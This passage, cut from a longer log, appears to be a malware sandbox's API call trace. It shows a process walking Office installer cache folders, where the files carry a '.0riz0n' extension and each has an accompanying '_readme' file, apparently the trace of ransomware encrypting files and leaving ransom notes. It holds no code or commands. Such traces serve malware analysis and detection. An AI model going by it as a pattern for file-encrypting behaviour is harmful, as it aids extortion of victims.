ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd7fff0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3cd7fff0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cdf2410, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3cdf2410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x8390a0, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cdf2410, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3cdf2410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0139.865] GetLastError () returned 0x12 [0139.865] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0139.865] FindClose (in: hFindFile=0x8390a0 | out: hFindFile=0x8390a0) returned 1 [0140.074] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.075] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0140.075] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3e03ed30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3e03ed30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0140.075] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.075] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3e03ed30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3e03ed30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0140.198] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0140.198] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0140.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0140.198] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0140.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0140.198] NtClose (Handle=0x198) returned 0x0 [0140.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0140.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0140.198] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b38 [0140.378] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3e03ed30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3e03ed30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.378] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0140.378] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.378] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.378] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dc3a810, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3dc3a810, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.378] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.378] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.378] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.378] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.378] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.378] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.378] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.378] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dfcc910, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3dfcc910, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.378] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.378] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.379] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.379] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.379] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.379] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.379] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.379] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dff2a70, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3dff2a70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.379] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.379] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.379] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.379] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.379] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.379] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.379] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.379] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e03ed30, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3e03ed30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.379] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.379] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.379] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.379] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x984fd8) returned 1 [0140.379] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e03ed30, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3e03ed30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.379] GetLastError () returned 0x12 [0140.379] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0140.379] FindClose (in: hFindFile=0x829b38 | out: hFindFile=0x829b38) returned 1 [0140.379] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3e03ed30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x3e03ed30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.379] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab.0riz0n", cAlternateFileName="")) returned 1 [0140.380] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dc3a810, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3dc3a810, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.380] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi.0riz0n", cAlternateFileName="")) returned 1 [0140.380] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dfcc910, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3dfcc910, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x456, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.380] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.380] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dff2a70, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3dff2a70, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.380] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.380] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e03ed30, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3e03ed30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.380] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e03ed30, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3e03ed30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x442, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 0 [0140.380] GetLastError () returned 0x12 [0140.380] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x983ae8) returned 1 [0140.380] FindClose (in: hFindFile=0x829b78 | out: hFindFile=0x829b78) returned 1 [0140.381] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.381] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9839e0) returned 1 [0140.381] FindNextFileW (in: hFindFile=0x839060, lpFindFileData=0x1a7f44c | out: lpFindFileData=0x1a7f44c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x40713410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x40713410, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0140.381] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.381] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1a7f348 | out: lpFileInformation=0x1a7f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x40713410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x40713410, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0140.404] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0140.404] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x1a7f38c, lpLastWriteTime=0x1a7f38c) returned 0 [0140.404] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x989690 [0140.404] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x989690, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0 | out: lpOutBuffer=0x989690, lpBytesReturned=0x1a7f3e4, lpOverlapped=0x0) returned 0 [0140.404] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x989690) returned 1 [0140.404] NtClose (Handle=0x194) returned 0x0 [0140.404] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.404] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.404] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x984fd8 [0140.404] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9839e0 [0140.405] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.405] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x983ae8 [0140.405] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7f194, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f194) returned 0x829b78 [0140.445] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x40713410, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x40713410, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.446] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n", cAlternateFileName="")) returned 1 [0140.446] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.446] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.446] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e08aff0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x3e08aff0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.0riz0n_readme", cAlternateFileName="")) returned 1 [0140.446] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.446] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.447] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985060 [0140.447] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985060) returned 1 [0140.447] FindNextFileW (in: hFindFile=0x829b78, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, 